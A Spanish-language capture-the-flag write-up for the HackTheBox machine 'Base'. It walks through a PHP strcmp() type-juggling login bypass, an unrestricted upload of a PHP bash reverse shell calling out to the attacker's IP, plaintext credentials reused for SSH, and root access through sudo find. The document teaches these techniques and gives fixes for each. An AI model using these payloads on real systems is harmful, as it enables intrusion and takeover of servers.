Base

HackTheBox — Linux · Dir Listing → PHP Type Juggling → File Upload → RCE → Credenciales SSH → sudo find LPE

● FÁCIL HACKTHEBOX LINUX PHP TYPE JUGGLING FILE UPLOAD RCE SUDO · LPE 📅 Mayo 2026 · By Brandeiks

Resumen

Base es una máquina de dificultad fácil de la plataforma HackTheBox que simula un servidor de almacenamiento de archivos expuesto en producción. El objetivo de la máquina es practicar la identificación de malas configuraciones web, la explotación de PHP Type Juggling para evadir autenticación, la carga de shells PHP maliciosas para obtener ejecución remota de código (RCE), la extracción de credenciales en texto plano desde archivos de configuración, y la escalada de privilegios mediante un binario sudo mal configurado.

El servidor expone dos servicios: SSH (puerto 22) con OpenSSH 7.6p1 y un servidor web HTTP (puerto 80) con Apache 2.4.29 sobre Ubuntu. Al enumerar el servidor web encontramos un directorio /login con directory listing habilitado, lo que expone un archivo swap login.php.swp que revela el código fuente del login. Analizando el código se detecta un error de comparación con strcmp() que permite el bypass de autenticación enviando el parámetro password como array vacío.

Una vez autenticados como administrador, accedemos a un panel de carga de archivos. Al no existir validación del tipo de archivo en el servidor, subimos una webshell PHP que nos entrega una reverse shell como el usuario www-data. Desde esa shell navegamos al directorio /login y leemos config.php, que contiene la contraseña en texto plano del usuario john. Con esas credenciales ingresamos por SSH y escalamos a root abusando del permiso sudo sobre el binario /usr/bin/find, tal como lo documenta GTFOBins.

FaseTécnica / HerramientaResultado
Reconocimientonmap -p- -sSCV -n -Pn --min-rate=5000 --open -oXPuertos 22 (SSH) y 80 (HTTP) abiertos · Apache 2.4.29
Reporte visualxsltproc base.xml → base.htmlReporte HTML del escaneo Nmap
Enum. Webgobuster dir -u http://10.129.5.82 -w big.txt -x phpDirectorios: /login, /forms, /_uploaded, upload.php
Dir. ListingAcceso a http://10.129.5.82/login/login.php.swp expuesto → código fuente del login
Auth BypassBurp Suite → password[]= (array vacío)PHP strcmp() devuelve 0 → autenticación eludida
File UploadSubida de xp.php (reverse shell)Archivo accesible en /_uploaded/xp.php
RCEnc -lvnp 443 → acceso a /_uploaded/xp.phpShell como www-data
Credscat /var/www/html/login/config.phpadmin:thisisagoodpassword · usuario john
Acceso SSHssh john@10.129.5.82Shell como john · user.txt obtenido
Privescsudo -l → (root:root) /usr/bin/findfind con sudo → shell como root
Rootsudo /usr/bin/find . -exec /bin/sh \; -quitroot.txt obtenido

Reconocimiento

1
ESCANEO COMPLETO DE PUERTOS CON NMAP

El primer paso siempre es conocer qué servicios están expuestos en la máquina objetivo. Usamos nmap con un escaneo agresivo: barremos todos los 65535 puertos TCP con SYN scan sigiloso (-sS), detección de versiones y scripts de enumeración (-sCV), sin resolución DNS (-n) ni ping previo (-Pn) y con una tasa mínima de 5000 paquetes por segundo para acelerar el proceso. Guardamos el resultado en formato XML (-oX) para convertirlo después en un reporte HTML visual con xsltproc.

RECONOCIMIENTO
$ sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open 10.129.5.82 -oX base.xml
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-08 01:15 -0400
Nmap scan report for 10.129.5.82
Host is up (0.56s latency).
Not shown: 35255 closed tcp ports (reset), 30278 filtered tcp ports
PORT    STATE SERVICE VERSION
22/tcp open ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f6:5c:9b:38:ec:a7:5c:79:1c:1f:18:1c:52:46:f7:0b (RSA)
|   256 65:0c:f7:db:42:03:46:07:f2:12:89:fe:11:20:2c:53 (ECDSA)
|_ 256 b8:65:cd:3f:34:d8:02:6a:e3:18:23:3e:77:dd:87:40 (ED25519)
80/tcp open http   Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome to Base
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Nmap done: 1 IP address (1 host up) scanned in 39.89 seconds

// RESULTADO DEL ESCANEO

Se detectan dos puertos abiertos: el puerto 22 con OpenSSH 7.6p1 sobre Ubuntu y el puerto 80 con Apache 2.4.29. El título HTTP es "Welcome to Base", lo que confirma que el sitio web está activo. Comenzamos investigando el puerto 80.

2
CONVERTIR RESULTADO NMAP A HTML (XSLTPROC)

Nmap permite exportar sus resultados a XML. Usando la hoja de estilo XSL incluida con nmap (xsltproc) podemos convertir ese XML en un reporte HTML visual con colores, tablas y mejor legibilidad. Esto es útil para documentar el reconocimiento de forma profesional y revisar la información de puertos, versiones y scripts de forma organizada en el navegador.

REPORTE
$ xsltproc base.xml -o base.html

// ¿POR QUÉ EXPORTAR A XML?

El formato XML de nmap es procesable por herramientas externas. Con xsltproc obtenemos un HTML navegable, mientras que otras herramientas como nmaptocsv o Metasploit pueden importar directamente el XML para correlacionar vulnerabilidades con los servicios descubiertos.


Enumeración Web

3
RECONOCIMIENTO MANUAL DEL SITIO WEB

Al acceder a http://10.129.5.82 encontramos una página de presentación de un servicio de hosting de archivos llamado "Base". La página tiene secciones de marketing: Cloud Storage, Supporting All Files, Maximizing Availability y Always Protecting. También vemos un menú con un botón de Login. Sin embargo, no hay información sensible visible en la superficie, así que procedemos a enumerar directorios y archivos ocultos.

4
FUZZING DE DIRECTORIOS CON GOBUSTER

Gobuster es una herramienta de fuerza bruta para descubrimiento de directorios y archivos web. Usa un wordlist (lista de palabras) y prueba cada entrada como ruta del servidor, registrando los códigos de respuesta HTTP. Usamos el wordlist big.txt de dirb, que contiene miles de nombres comunes de directorios y archivos, y añadimos la extensión php para descubrir también archivos PHP. Esto nos permite mapear la superficie de ataque del servidor.

ENUMERACIÓN
$ gobuster dir -u http://10.129.5.82 -w /usr/share/wordlists/dirb/big.txt -t 10 -x php
Gobuster v3.8.2 — by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                  http://10.129.5.82
[+] Method:              GET
[+] Threads:             10
[+] Wordlist:            /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] Extensions:          php
 
.htaccess         (Status: 403) [Size: 276]
.htaccess.php    (Status: 403) [Size: 276]
_uploaded        (Status: 301) [Size: 314] [--> http://10.129.5.82/_uploaded/]
assets           (Status: 301) [Size: 311] [--> http://10.129.5.82/assets/]
forms            (Status: 301) [Size: 310] [--> http://10.129.5.82/forms/]
login            (Status: 301) [Size: 310] [--> http://10.129.5.82/login/]
logout.php       (Status: 302) [Size: 0] [--> /login.php]
server-status    (Status: 403) [Size: 276]
upload.php       (Status: 302) [Size: 0] [--> /login/login.php]
 
Progress: 40938 / 40938 (100.00%) — Finished

// HALLAZGOS CLAVE

Encontramos varios directorios y archivos interesantes: /login (panel de autenticación), /_uploaded (directorio donde se guardan los archivos subidos), upload.php (redirige al login → confirma que hay funcionalidad de carga de archivos) y logout.php. El directorio /login es el vector de entrada principal.


Directory Listing → Código Fuente Expuesto

5
DIRECTORIO /LOGIN CON LISTING HABILITADO

Al navegar a http://10.129.5.82/login/ encontramos que Apache tiene el directory listing habilitado: en lugar de mostrar un error 403 o redirigir, Apache nos muestra el listado completo de archivos del directorio. Esto ocurre porque no existe un archivo index en esa carpeta y la opción Options +Indexes está habilitada en la configuración de Apache. Es una mala configuración gravísima en producción.

Los archivos listados son: config.php, login.php y un archivo que nos llama especialmente la atención: login.php.swp. Este es un archivo swap de Vim — un archivo temporal que Vim genera automáticamente cuando se está editando un archivo. Contiene una copia del código fuente del archivo en edición, en este caso, del propio login.php.

Index of /login
 
Name            Last modified   Size  Description
──────────────────────────────────────────────────────
Parent Directory                     -
config.php      2022-06-04 16:24  61
login.php       2022-06-15 11:23  7.4K
login.php.swp   2022-06-04 17:09  16K
 
Apache/2.4.29 (Ubuntu) Server at 10.129.5.82 Port 80

// ARCHIVO SWAP DE VIM

Cuando Vim edita un archivo, crea automáticamente un archivo swap con extensión .swp en el mismo directorio. Si el editor se cierra inesperadamente (crash, cierre de sesión SSH), el swap no se elimina y queda en disco. En un servidor web con directory listing habilitado, cualquier visitante puede descargarlo y recuperar el código fuente del archivo original. Para recuperar el contenido: vim -r login.php.swp o simplemente strings login.php.swp.

Descargamos el archivo swap y recuperamos el código fuente del login. La parte crítica es la función de autenticación, que usa strcmp() para comparar la contraseña enviada con la almacenada:

ANÁLISIS
$ strings login.php.swp
<?php
session_start();
if (!empty($_POST['username']) && !empty($_POST['password'])) {
    require('config.php');
    if (strcmp($username, $_POST['username']) == 0
        && strcmp($password, $_POST['password']) == 0) {
        $_SESSION['user'] = $username;
        header("Location: /upload.php");
    } else {
        print("<script>alert('Wrong Username or Password')</script>");
    }
}
?>

// VULNERABILIDAD: PHP TYPE JUGGLING CON STRCMP()

La función strcmp($a, $b) retorna 0 cuando los strings son iguales, un número negativo si $a < $b, y positivo si $a > $b. El problema: en PHP, cuando se pasa un array en lugar de un string a strcmp(), la función retorna NULL. Y NULL comparado con == 0 es TRUE en PHP (comparación loose). Enviando password[]= (array vacío), strcmp() retorna NULL, NULL == 0 es TRUE, y el login se acepta sin verificar la contraseña real.


Auth Bypass — PHP Type Juggling

6
CAPTURA Y MODIFICACIÓN DE LA PETICIÓN CON BURP SUITE

Sabiendo que la vulnerabilidad está en el uso de strcmp() con comparación laxa, necesitamos interceptar la petición HTTP del formulario de login y modificar el parámetro password para convertirlo en un array. Usamos Burp Suite como proxy interceptor: configuramos el navegador para que pase todo el tráfico HTTP a través de Burp, activamos el interceptor, y enviamos el formulario con cualquier credencial.

Burp captura la petición POST antes de que llegue al servidor. Podemos editarla y reenviarla (Forward). El truco es cambiar el parámetro de password=cualquier_cosa a password[]=, que es la sintaxis PHP para enviar un array vacío en un formulario. Con el usuario admin y este array como contraseña, el strcmp() retornará NULL y el login nos dará acceso.

POST /login/login.php HTTP/1.1
Host: 10.129.5.82
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=28s213ms18f7ifnii65eeb37ir
 
username=admin&password[]=  ← parámetro modificado a array vacío

// RESULTADO DEL BYPASS

Al enviar la petición modificada, el servidor responde con una redirección a /upload.php y nos establece una sesión autenticada como administrador. Accedemos al panel Admin File Uploads donde podemos subir archivos al servidor sin restricciones visibles.

USUARIO
admin
CONTRASEÑA
password[]= (array vacío)
TÉCNICA
PHP Type Juggling · strcmp() bypass

File Upload — Webshell PHP

7
CREACIÓN DE LA REVERSE SHELL PHP

Una vez dentro del panel de administración, vemos que podemos subir archivos al servidor. El servidor corre PHP (confirmado por los archivos .php encontrados con Gobuster), lo que significa que si logramos subir un archivo .php malicioso, el servidor lo ejecutará cuando lo solicitemos. A esto se le llama Remote Code Execution (RCE) mediante File Upload.

Creamos un archivo PHP de una línea que ejecuta una bash reverse shell: cuando el servidor la ejecute, establecerá una conexión TCP de vuelta a nuestra máquina (10.10.16.5) en el puerto 443 (usamos 443 porque es HTTPS, puerto que raramente está bloqueado por firewalls de salida). El comando bash -i inicia bash en modo interactivo, y >& /dev/tcp/IP/PORT 0>&1 redirige stdin/stdout/stderr a través de la conexión TCP.

WEBSHELL
$ cat xp.php
 
<?php
  exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.5/443 0>&1'");
?>
8
SUBIDA DEL ARCHIVO Y VERIFICACIÓN EN /_UPLOADED

Subimos el archivo xp.php a través del panel de administración. El servidor no valida el tipo de archivo ni la extensión: acepta cualquier archivo, incluyendo scripts PHP ejecutables. Una vez subido, verificamos que aparezca en el directorio /_uploaded (que también tiene directory listing habilitado, exponiéndonos el contenido del directorio):

Index of /_uploaded
 
Name          Last modified       Size
──────────────────────────────────────────────
Parent Directory                      -
script.php    2026-05-08 03:30       32
xp.php        2026-05-08 04:38       32
 
Apache/2.4.29 (Ubuntu) Server at 10.129.5.82 Port 80

// ¿POR QUÉ FUNCIONA EL UPLOAD?

El panel de upload no implementa ninguna validación del tipo MIME real ni de la extensión del archivo. Solo verifica si el campo de formulario tiene contenido. Esto permite subir cualquier archivo, incluyendo scripts PHP. La segunda mala configuración: Apache sirve el directorio _uploaded con permisos de ejecución de PHP, por lo que al hacer GET al archivo .php, el servidor lo ejecuta en lugar de descargarlo.


Reverse Shell — Acceso Inicial como www-data

9
LISTENER NETCAT + TRIGGER DE LA SHELL

Antes de acceder al archivo PHP subido, necesitamos tener un listener activo en nuestra máquina. Usamos netcat (nc) en modo escucha sobre el puerto 443. Cuando el servidor ejecute nuestro script PHP, intentará conectarse a nuestra IP en ese puerto; si el listener está activo, la conexión se establece y obtenemos la shell.

LISTENER
$ nc -lvnp 443

Con el listener activo, accedemos desde el navegador a http://10.129.5.82/_uploaded/xp.php. El servidor ejecuta el script PHP, que a su vez ejecuta la instrucción bash que redirige la conexión a nuestra máquina. El listener recibe la conexión:

listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.129.5.82] 56908
bash: cannot set terminal process group (1243): Inappropriate ioctl for device
bash: no job control in this shell
www-data@base:/var/www/html/_uploaded$ whoami
www-data
www-data@base:/var/www/html/_uploaded$ ls
script.php
shell.php
xp.php
www-data@base:/var/www/html/_uploaded$ cd ..
www-data@base:/var/www/html$ ls
_uploaded assets forms index.html login logout.php upload.php

// SHELL COMO WWW-DATA

Tenemos ejecución de código en el servidor como el usuario www-data, que es el usuario con el que Apache sirve contenido web en Ubuntu. Este usuario tiene acceso de lectura a los archivos del servidor web, lo cual es suficiente para leer el archivo config.php que contiene las credenciales.


Credenciales en Texto Plano → SSH como John

10
LECTURA DE CONFIG.PHP — CREDENCIALES EXPUESTAS

Desde nuestra shell como www-data, navegamos al directorio /var/www/html/login donde encontramos los archivos del panel de login. El archivo config.php es el que incluye el login con las credenciales de la base de datos de usuarios. Hacemos cat config.php para leer su contenido:

POST-EXPLOT
www-data@base:/var/www/html$
$ cd login && cat config.php
<?php
$username = "admin";
$password = "thisisagoodpassword";
?>

Las credenciales están almacenadas en texto plano sin ningún tipo de hash ni cifrado. Ahora navegamos al directorio /home para identificar los usuarios del sistema y comprobamos si estas credenciales funcionan para alguno de ellos por SSH (reutilización de contraseñas):

ENUM LOCAL
$ cd /home && ls
john
www-data@base:/home$ cd john && ls
user.txt
11
ACCESO SSH COMO JOHN

Existe un usuario john con su directorio home. Intentamos conectarnos por SSH usando como contraseña la que encontramos en config.php. La reutilización de contraseñas es un error común: los desarrolladores usan la misma contraseña para el sistema y para las credenciales hardcodeadas en la aplicación.

SSH
$ ssh john@10.129.5.82
john@10.129.5.82's password: thisisagoodpassword
 
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-151-generic x86_64)
 
System load:  1.07               Processes:            108
Usage of /:   64.1% of 2.83GB  Users logged in:          0
Memory usage: 19%               IP address for ens160: 10.129.5.82
 
john@base:~$ cat user.txt
f54846c258f3b4612f78a819573d158e
USUARIO
john
CONTRASEÑA
thisisagoodpassword
FUENTE
/login/config.php (texto plano)
FLAG
user.txt ✓

Escalada de Privilegios — sudo /usr/bin/find

12
ENUMERACIÓN DE PERMISOS SUDO

El primer paso en cualquier escalada de privilegios en Linux es revisar qué comandos puede ejecutar el usuario actual con sudo sin necesitar contraseña de root. Lo hacemos con sudo -l. Este comando consulta el archivo /etc/sudoers y lista los permisos configurados para el usuario actual.

PRIVESC
john@base:~$ sudo -l
[sudo] password for john: thisisagoodpassword
Matching Defaults entries for john on base:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:...
 
User john may run the following commands on base:
    (root : root) /usr/bin/find

// MISCONFIGURACION CRÍTICA

El usuario john puede ejecutar /usr/bin/find como root mediante sudo. find tiene la capacidad de ejecutar comandos arbitrarios con la flag -exec, lo que significa que al correrlo con sudo, podemos ejecutar cualquier comando como root. GTFOBins documenta exactamente cómo abusar de esto.

13
EXPLOTACIÓN CON GTFOBINS → SHELL COMO ROOT

GTFOBins (gtfobins.github.io) es un repositorio de referencia que documenta cómo binarios Unix estándar pueden ser abusados para escalar privilegios. Para find con sudo, el comando es simple: usamos -exec para ejecutar /bin/sh y -quit para que find se detenga después del primer resultado (para que no busque más archivos). Como sudo ejecuta find como root, la shell que abrimos también es root.

PRIVESC ROOT
john@base:~$ sudo /usr/bin/find . -exec /bin/sh \; -quit
# whoami
root
# cd /root && ls
root.txt
# cat root.txt
51709519ea18ab37dd6fc58096bea949
VECTOR
sudo /usr/bin/find
TÉCNICA
GTFOBins · sudo explotación
RESULTADO
root ✓ · root.txt obtenido

Referencia de Comandos

nmap
sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open <IP> -oX out.xml
Escáner de puertos y servicios. Enumera todos los puertos TCP, detecta versiones y lanza scripts NSE de reconocimiento.
  • -p- · escanea los 65535 puertos TCP
  • -sS · SYN scan (sigiloso, no completa el 3-way handshake)
  • -sC · ejecuta scripts NSE predeterminados (default scripts)
  • -sV · detección de versiones de servicios
  • -n · sin resolución DNS (más rápido)
  • -Pn · sin ping previo (asume host activo)
  • --min-rate=5000 · mínimo 5000 paquetes/segundo
  • --open · muestra solo puertos abiertos
  • -oX · exporta resultado en formato XML
xsltproc
xsltproc <archivo.xml> -o <reporte.html>
Procesador XSLT que transforma documentos XML aplicando una hoja de estilos. Nmap incluye la hoja XSL para convertir sus XML a HTML visual.
  • archivo.xml · el XML exportado por nmap
  • -o · archivo de salida (output)
  • reporte.html · nombre del HTML resultante
gobuster
gobuster dir -u <URL> -w <wordlist> -t <threads> -x <ext>
Herramienta de fuerza bruta para descubrimiento de directorios y archivos web. Prueba cada entrada del wordlist como ruta HTTP y registra las respuestas.
  • dir · modo de enumeración de directorios
  • -u · URL objetivo
  • -w · wordlist (lista de palabras a probar)
  • -t · número de threads paralelos
  • -x · extensiones adicionales a probar (ej: php, txt, bak)
strings
strings <archivo>
Extrae y muestra las cadenas de texto legibles de un archivo binario. Útil para analizar archivos swap de Vim (.swp) y recuperar código fuente o credenciales.
  • archivo · el archivo a analizar (binario o swap)
  • -n <N> · longitud mínima de cadena a mostrar (por defecto 4)
  • -a · escanea todo el archivo, no solo secciones de datos
nc (netcat)
nc -lvnp <puerto>
Herramienta de red multipropósito. En modo listener, espera conexiones entrantes en el puerto especificado. Esencial para recibir reverse shells.
  • -l · modo listen (escucha conexiones entrantes)
  • -v · verbose (muestra información de conexión)
  • -n · sin resolución DNS
  • -p · especifica el puerto a escuchar
sudo find (privesc)
sudo /usr/bin/find . -exec /bin/sh \; -quit
Abusa del permiso sudo sobre find para obtener una shell como root. Find ejecuta el comando dado en -exec con los privilegios de root heredados de sudo.
  • sudo · ejecuta el siguiente comando como root
  • . · busca en el directorio actual
  • -exec · ejecuta el comando por cada resultado encontrado
  • /bin/sh · shell que se lanza como root
  • \; · termina el bloque -exec
  • -quit · detiene find tras el primer resultado (evita loops)

Glosario

PHP Type Juggling — strcmp() Bypass
PHP es un lenguaje de tipado débil y dinámico: cuando se comparan valores de tipos distintos, realiza conversiones automáticas de tipo (type coercion) antes de comparar. La función strcmp($a, $b) espera dos strings; si se le pasa un array, retorna NULL en lugar de un número. El problema surge al usar el operador == (comparación laxa): en PHP, NULL == 0 es TRUE. Por tanto, si el formulario envía password[]= (un array vacío), strcmp() retorna NULL, NULL == 0 es TRUE, y la condición del login se cumple sin conocer la contraseña real. La solución es usar === (comparación estricta de tipo y valor) o hash_equals().
Directory Listing — Listado de Directorios Apache
El directory listing ocurre cuando Apache muestra el contenido completo de una carpeta porque: (1) no existe un archivo index (index.html, index.php) en el directorio, y (2) la directiva Options +Indexes está habilitada o no se ha deshabilitado con Options -Indexes. Expone toda la estructura de archivos del servidor al visitante, incluyendo archivos de configuración, backups, archivos swap y otros archivos sensibles. En producción nunca debe estar habilitado. Se desactiva añadiendo Options -Indexes en la configuración de Apache o en .htaccess.
Archivo Swap de Vim (.swp)
Cuando Vim abre un archivo para edición, crea automáticamente un archivo swap con el mismo nombre pero con extensión .swp (ej: login.php.swp) en el mismo directorio. Este archivo se usa como buffer temporal para recuperar cambios no guardados si el editor se cierra inesperadamente (crash, cierre de sesión SSH, corte de conexión). El swap contiene una copia del contenido del archivo en edición. Si el servidor tiene directory listing habilitado y el desarrollador editó archivos directamente en el servidor, estos swaps quedan accesibles públicamente y revelan el código fuente original. Se pueden leer con vim -r archivo.swp o strings archivo.swp.
File Upload sin Validación — Remote Code Execution (RCE)
Una vulnerabilidad de File Upload sin validación permite que un atacante suba cualquier tipo de archivo al servidor, incluyendo scripts ejecutables. En un servidor PHP, si el directorio de uploads tiene permisos de ejecución PHP, cualquier archivo .php subido será ejecutado por el servidor cuando se realice una petición HTTP al archivo. Una reverse shell PHP es un script que, al ejecutarse en el servidor, establece una conexión TCP de vuelta al atacante entregando control total del sistema. La validación correcta incluye: verificar el tipo MIME real del archivo (no la extensión), usar una lista blanca de extensiones permitidas, almacenar archivos subidos fuera del webroot o en un directorio sin permisos de ejecución PHP.
Reverse Shell — bash -i >& /dev/tcp
Una reverse shell es una técnica donde el servidor víctima inicia la conexión hacia el atacante (al contrario de una bind shell, donde el atacante se conecta al servidor). Esto elude firewalls que bloquean conexiones entrantes pero permiten las salientes. El mecanismo /dev/tcp/IP/PUERTO es una función especial de Bash que abre un socket TCP hacia la IP y puerto especificados. Combinado con bash -i (bash interactivo) y la redirección >& ... 0>&1 (redirigir stdout/stderr y stdin al socket), obtenemos una shell completa a través de la conexión TCP. El atacante escucha con netcat (nc -lvnp PUERTO) y recibe la conexión.
Credenciales en Texto Plano — Clear Text Credentials
Almacenar contraseñas en texto plano (sin cifrar ni hashear) en archivos de configuración es una práctica gravemente insegura. Si un atacante obtiene acceso de lectura a esos archivos (mediante RCE, path traversal, LFI u otro vector), obtiene las contraseñas reales inmediatamente. La práctica correcta es almacenar hashes de contraseñas con algoritmos modernos como bcrypt, Argon2 o scrypt, que son resistentes a ataques de fuerza bruta. Las credenciales de configuración de base de datos deben almacenarse en variables de entorno o en archivos fuera del webroot con permisos restrictivos.
sudo — Superuser Do
sudo (superuser do) es un programa de Unix que permite a usuarios ejecutar comandos con los privilegios de otro usuario (usualmente root) de forma controlada y auditable. Los permisos se configuran en /etc/sudoers: se especifica qué usuarios pueden ejecutar qué comandos como qué usuarios. sudo -l lista los permisos del usuario actual. El peligro surge cuando se concede permiso sudo sobre binarios que pueden ejecutar código arbitrario (como find, python, vim, less, etc.): el atacante puede usar esa capacidad para lanzar una shell como root. GTFOBins documenta estos vectores.
GTFOBins — Binarios Unix para Privesc
GTFOBins (gtfobins.github.io) es un repositorio curado por la comunidad de ciberseguridad que documenta cómo binarios Unix estándar pueden ser abusados para: escalar privilegios (SUID/sudo), leer/escribir archivos arbitrarios, obtener shells, o exfiltrar datos. El nombre viene de "Get The F*** Out (of restricted environments)". Para find con sudo, el abuso es directo: find -exec /bin/sh \; -quit lanza una shell con los privilegios con que se ejecutó find. Para cada binario, documenta los casos aplicables (SUID, sudo, capabilities) con el comando exacto. Es la referencia definitiva para post-explotación en Linux.
SSH — Secure Shell
SSH (Secure Shell) es un protocolo de red criptográfico para operar servicios de red de forma segura sobre redes no confiables. Cifra toda la comunicación mediante criptografía asimétrica. Opera en el puerto 22 por defecto. La autenticación puede ser: por contraseña (la contraseña viaja cifrada dentro del túnel SSH) o por clave pública (par de claves RSA/ECDSA/ED25519; el servidor guarda la pública, el cliente demuestra poseer la privada). Es el método estándar para administración remota de servidores Linux. En este caso, la reutilización de credenciales (misma contraseña para la aplicación web y para el sistema operativo) permitió el acceso SSH con las credenciales obtenidas de config.php.
Reutilización de Contraseñas — Password Reuse
La reutilización de contraseñas ocurre cuando un usuario o sistema usa la misma contraseña en múltiples contextos. En este caso, la contraseña del usuario administrador de la aplicación web (thisisagoodpassword en config.php) era la misma que la del usuario de sistema john. Esto permite que un atacante que compromete un sistema (obteniendo credenciales de la web) escale lateralmente a otros sistemas o cuentas sin necesitar ningún exploit adicional. La práctica correcta es usar contraseñas únicas y aleatorias para cada servicio, idealmente gestionadas con un gestor de contraseñas.